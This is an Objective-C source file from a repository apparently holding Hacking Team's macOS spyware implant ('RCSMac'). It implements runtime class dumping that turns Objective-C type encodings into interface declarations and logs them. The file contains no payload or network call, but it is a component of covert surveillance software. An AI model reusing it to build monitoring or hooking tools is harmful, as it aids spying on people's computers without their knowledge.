hackedteam/core-macos

View on GitHub
core/InputManager/RCSMClassDumpSupport.m

Summary

Maintainability
Test Coverage
//
//  File.c
//  RCSMac
//
//  Created by armored on 29/05/14.
//
//
#include <CoreFoundation/CoreFoundation.h>
#include "RCSMLogger.h"
#include <stdio.h>
#include <objc/runtime.h>
#include <dlfcn.h>


NSArray *typeStringFromEncoding(const char *typeEncoding, NSUInteger *end);

#define COMPARE_ENC_CUSTOM(var, type) do { \
if(var == @encode(type)[0]) { \
return @#type; \
} \
} while(0)

#define COMPARE_ENC(type) COMPARE_ENC_CUSTOM(firstChar, type)

NSString *basicTypeFromEncoding(const char *encoding) {
    char firstChar = encoding[0];
    
    COMPARE_ENC(char);
    COMPARE_ENC(int);
    COMPARE_ENC(short);
    COMPARE_ENC(long);
    COMPARE_ENC(long long);
    COMPARE_ENC(unsigned char);
    COMPARE_ENC(unsigned int);
    COMPARE_ENC(unsigned short);
    COMPARE_ENC(unsigned long);
    COMPARE_ENC(unsigned long long);
    COMPARE_ENC(float);
    COMPARE_ENC(double);
    COMPARE_ENC(_Bool);
    COMPARE_ENC(void);
    COMPARE_ENC(char *);
    COMPARE_ENC(id);
    COMPARE_ENC(Class);
    COMPARE_ENC(SEL);
    
    if(encoding[0] == '?') {
        return @"void *";
    }
    
    return nil;
}

NSUInteger findClosedBracket(NSString *string) {
    NSUInteger length = [string length];
    NSUInteger i = 0;
    NSUInteger depth = 0;
    BOOL foundFirst = NO;
    while((!foundFirst || depth > 0) && i < length) {
        char c = [string characterAtIndex:i];
        switch(c) {
            case '(':
            case '[':
            case '{':
                depth++;
                foundFirst = YES;
                break;
            case ')':
            case ']':
            case '}':
                depth--;
                break;
        }
        
        i++;
    }
    
    return i - 1;
}

NSString *variableDefinitionWithName(const char *typeEncoding, const char *name) {
    NSArray *typeString = typeStringFromEncoding(typeEncoding, NULL);
    return [NSString stringWithFormat:@"%@ %s%@;", [typeString objectAtIndex:0], name, [typeString objectAtIndex:1]];
}

NSArray *typeStringFromEncoding(const char *typeEncoding, NSUInteger *end) {
    if(typeEncoding[0] == '\0') {
        return @[@"void", @""];
    }
    
    NSDictionary *qualifiers = @{
    @"r": @"const",
    @"n": @"in",
    @"N": @"inout",
    @"o": @"out",
    @"O": @"bycopy",
    @"R": @"byref",
    @"V": @"oneway"
  };
    
    NSUInteger dummy;
    if(!end) {
        end = &dummy;
    }
    
    NSMutableString *typePrefix = [NSMutableString new];
    NSMutableString *typeSuffix = [NSMutableString new];
    
    NSString *typeEnc = [NSString stringWithUTF8String:typeEncoding];
    
    BOOL isArray = [typeEnc hasPrefix:@"["];
    BOOL isStruct = [typeEnc hasPrefix:@"{"];
    BOOL isUnion = [typeEnc hasPrefix:@"("];
    
    NSString *qualifier = [qualifiers objectForKey:[typeEnc substringToIndex:1]];
    
    if(isArray || isStruct || isUnion) {
        NSUInteger endOfBracket = findClosedBracket(typeEnc);
        
        if(isArray) {
            NSScanner *scanner = [NSScanner scannerWithString:typeEnc];
            scanner.scanLocation = 1;
            int size;
            assert([scanner scanInt:&size]);
            
            [typeSuffix appendFormat:@"[%d]", size];
            
            NSString *inner = [typeEnc substringWithRange:NSMakeRange(scanner.scanLocation, endOfBracket - scanner.scanLocation)];
            NSUInteger innerEnd;
            NSArray *innerType = typeStringFromEncoding([inner UTF8String], &innerEnd);
            
            assert(scanner.scanLocation + innerEnd == endOfBracket);
            
            [typePrefix appendString:[innerType objectAtIndex:0]];
            [typeSuffix appendString:[innerType objectAtIndex:1]];
        } else {
            NSString *name;
            
            [typePrefix appendString:isStruct? @"struct ": @"union "];
            
            const char *equals = strchr(typeEncoding, '=');
            unsigned long index = 0;
            
            if(!equals) {
                name = [typeEnc substringWithRange:NSMakeRange(1, endOfBracket - 1)];
            } else {
                index = equals - typeEncoding;
                
                name = [typeEnc substringWithRange:NSMakeRange(1, index - 1)];
            }
            
            if(![name isEqualToString:@"?"]) {
                [typePrefix appendFormat:@"%@ ", name];
            }
            
            const char *ptr = typeEncoding + index + 1;
            
            if(equals && ptr - typeEncoding < endOfBracket) {
                [typePrefix appendString:@"{ "];
                
                int fieldIndex = 0;
                
                while(ptr - typeEncoding < endOfBracket) {
                    NSString *fieldName = [NSString stringWithFormat:@"field%d", fieldIndex];
                    
                    if(*ptr == '"') {
                        ptr++;
                        char *fieldNameEnd = strchr(ptr, '"');
                        assert(fieldNameEnd);
                        
                        fieldName = [[NSString alloc] initWithBytes:ptr length:(fieldNameEnd - ptr) encoding:NSUTF8StringEncoding];
                        
                        ptr = fieldNameEnd + 1;
                    }
                    
                    NSUInteger fieldEnd;
                    NSArray *fieldType = typeStringFromEncoding(ptr, &fieldEnd);
                    [typePrefix appendFormat:@"%@ %@%@; ", [fieldType objectAtIndex:0], fieldName, [ fieldType objectAtIndex:1]];
                    
                    fieldIndex++;
                    ptr += fieldEnd;
                }
                
                [typePrefix appendString:@"}"];
            }
        }
        
        *end = endOfBracket + 1;
        
    } else if([typeEnc hasPrefix:@"b"]) {
        NSScanner *scanner = [NSScanner scannerWithString:typeEnc];
        scanner.scanLocation = 1;
        int size;
        assert([scanner scanInt:&size]);
        
        [typePrefix appendString:@"unsigned long long"];
        [typeSuffix appendFormat:@":%d", size];
        
        *end = scanner.scanLocation;
    } else if([typeEnc hasPrefix:@"^"]) {
        *end = 0;
        
        while(typeEncoding[0] == '^') {
            [typePrefix appendString:@"*"];
            typeEncoding++;
            (*end)++;
        }
        
        NSUInteger pointerEnd;
        NSArray *pointerType = typeStringFromEncoding(typeEncoding, &pointerEnd);
        
        if([ [pointerType objectAtIndex:1] isNotEqualTo:@""]) {
            [typePrefix insertString:@"(" atIndex:0];
            [typeSuffix appendString:@") "];
            [typeSuffix appendString: [pointerType objectAtIndex:1]];
        }
        
        [typePrefix insertString: [pointerType objectAtIndex:0] atIndex:0];
        
        *end += pointerEnd;
    } else if(qualifier) {
        [typePrefix appendFormat:@"%@ ", qualifier];
        
        NSUInteger realEnd;
        NSArray *realType = typeStringFromEncoding(typeEncoding + 1, &realEnd);
        
        [typePrefix appendString: [realType objectAtIndex:0]];
        [typeSuffix appendString: [realType objectAtIndex:1]];
        
        *end = realEnd + 1;
    } else if([typeEnc hasPrefix:@"\""]) {
        // This occurs sometimes, but I forgot what to do :/
        assert(0);
    } else {
        NSString *basicType = basicTypeFromEncoding(typeEncoding);
        //assert(basicType);
        if(!basicType) {
            NSLog(@"%s", typeEncoding);
            basicType = @"void *";
        }
        
        if([basicType isEqualToString:@"id"] && typeEncoding[1] == '"') {
            const char *ptr = typeEncoding + 1;
            ptr++;
            char *classNameEnd = strchr(ptr, '"');
            assert(classNameEnd);
            
            NSString *className = [[NSString alloc] initWithBytes:ptr length:(classNameEnd - ptr) encoding:NSUTF8StringEncoding];
      
            [typePrefix insertString:[NSString stringWithFormat:@"%@ *", className] atIndex:0];
            
            *end = classNameEnd - typeEncoding + 1;
        } else {
            [typePrefix insertString:basicType atIndex:0];
            *end = 1;
        }
    }
    
    return @[typePrefix, typeSuffix];
}

NSString *methodArgTypeString(const char *typeEncoding) {
  NSArray *typeString = typeStringFromEncoding(typeEncoding, NULL);
  return [typeString componentsJoinedByString:@""];
}

NSString *class_dump_class(Class class) {
    NSMutableString *result = [NSMutableString new];
    
    const char *className = class_getName(class);
  
    infoLog(@"Class %s", className);
    
  [result appendFormat:@"@interface %s", className];
    
    Class superclass = class_getSuperclass(class);
    if(superclass) {
        const char *superClassName = class_getName(superclass);
    infoLog(@"Class %s, SuperClass %s", className, superClassName);
        [result appendFormat:@" : %s", superClassName];
    }
    
    unsigned int protocolCount;
    Protocol *__unsafe_unretained *protocols = class_copyProtocolList(class, &protocolCount);
    
    if(protocols) {
        if(protocolCount > 0) {
            [result appendString:@" <"];
            for(unsigned int i = 0; i < protocolCount; i++) {
                const char *protocolName = protocol_getName(protocols[i]);
                [result appendFormat:@"%s%s", (i == 0? "": ", "), protocolName];
            }
            [result appendString:@">"];
        }
        
        free(protocols);
    }
    
    unsigned int ivarCount;
    Ivar *ivars = class_copyIvarList(class, &ivarCount);
    
    if(ivars) {
        if(ivarCount > 0) {
            [result appendString:@" {\n"];
            
            for(unsigned int i = 0; i < ivarCount; i++) {
                Ivar ivar = ivars[i];
                const char *ivarName = ivar_getName(ivar);
                const char *ivarTypeEncoding = ivar_getTypeEncoding(ivar);
                
                [result appendFormat:@"\t%@\n", variableDefinitionWithName(ivarTypeEncoding, ivarName)];
                
            }
            
            [result appendString:@"}"];
        }
        
        free(ivars);
    }
    
    [result appendString:@"\n\n"];
    
    unsigned int propertyCount;
    objc_property_t *properties = class_copyPropertyList(class, &propertyCount);
    
    if(properties) {
        for(unsigned int i = 0; i < propertyCount; i++) {
            objc_property_t property = properties[i];
            const char *propertyName = property_getName(property);
            
            unsigned int propertyAttributeCount;
            objc_property_attribute_t *propertyAttributes = property_copyAttributeList(property, &propertyAttributeCount);
            
            BOOL isDynamic = NO;
            NSMutableString *attributesString = [NSMutableString new];
            char *typeEncoding = NULL;
            
            if(propertyAttributes) {
                BOOL firstAttribute = YES;
                for(unsigned int j = 0; j < propertyAttributeCount; j++) {
                    objc_property_attribute_t *propertyAttribute = propertyAttributes + j;
                    
                    NSString *attribute = nil;
                    const char *attributeValue = nil;
                    
                    switch(propertyAttribute->name[0]) {
                        case 'V':
                            break;
                        case 'T':
                            typeEncoding = strdup(propertyAttribute->value);
                            break;
                        case 'R':
                            attribute = @"readonly";
                            break;
                        case 'C':
                            attribute = @"copy";
                            break;
                        case '&':
                            attribute = @"retain";
                            break;
                        case 'N':
                            attribute = @"nonatomic";
                            break;
                        case 'G':
                            attribute = @"getter";
                            attributeValue = propertyAttribute->value;
                            break;
                        case 'S':
                            attribute = @"setter";
                            attributeValue = propertyAttribute->value;
                            break;
                        case 'D':
                            isDynamic = YES;
                            break;
                        case 'W':
                            attribute = @"__weak";
                            break;
                        case 'P':
                            // Garbage collection
                            break;
                        case 't':
                            assert(0);
                            break;
                        default:
                            assert(0);
                            break;
                    }
                    
                    if(attribute) {
                        if(firstAttribute) {
                            [attributesString appendString:@"("];
                            
                            firstAttribute = NO;
                        } else {
                            [attributesString appendString:@", "];
                        }
                        
                        [attributesString appendString:attribute];
                        
                        if(attributeValue) {
                            [attributesString appendFormat:@"=%s", attributeValue];
                        }
                    }
                }
                
                if(!firstAttribute) {
                    [attributesString appendFormat:@") "];
                }
                
                free(propertyAttributes);
            }
            
            assert(typeEncoding);
            
            NSString *propertyType = methodArgTypeString(typeEncoding);
            
            [result appendFormat:@"@property %@%@ %s;\n", attributesString, propertyType, propertyName];
            
            free(typeEncoding);
        }
        
        free(properties);
        
        [result appendString:@"\n"];
    }
    
    for(int m = 0; m < 2; m++) {
        unsigned int methodCount;
        Method *methods = class_copyMethodList(m? class: objc_getMetaClass(className), &methodCount);
        
        if(methods) {
            for(unsigned int i = 0; i < methodCount; i++) {
                [result appendString:m? @"- ": @"+ "];
                
                Method method = methods[i];
                
                char *returnTypeEncoding = method_copyReturnType(method);
                NSString *returnType = methodArgTypeString(returnTypeEncoding);
                free(returnTypeEncoding);
                
                [result appendFormat:@"(%@)", returnType];
                
                const char *methodName = sel_getName(method_getName(method));
                NSString *methodString = [NSString stringWithUTF8String:methodName];
                
                NSArray *methodParts = [methodString componentsSeparatedByString:@":"];
                
                [result appendString:(NSString *) [methodParts objectAtIndex:0]];
                
                unsigned int argCount = method_getNumberOfArguments(method);
                if(argCount == 0) {
                    argCount = 2;
                }
                
                assert(argCount - 2 == [methodParts count] - 1);
                
                for(unsigned int j = 0; j < argCount - 2; j++) {
                    char *argTypeEncoding = method_copyArgumentType(method, j + 2);
                    NSString *argType = methodArgTypeString(argTypeEncoding);
                    free(argTypeEncoding);
                    
                    if(j != 0) {
                        [result appendFormat:@" %@", (NSString *)[methodParts objectAtIndex:j]];
                    }
                    [result appendFormat:@":(%@)arg%d", argType, j];
                }
                
                [result appendString:@";\n"];
            }
            
            free(methods);
            
            [result appendString:@"\n"];
        }
    }
    
    [result appendString:@"@end"];
    
  infoLog(result);
    return result;
}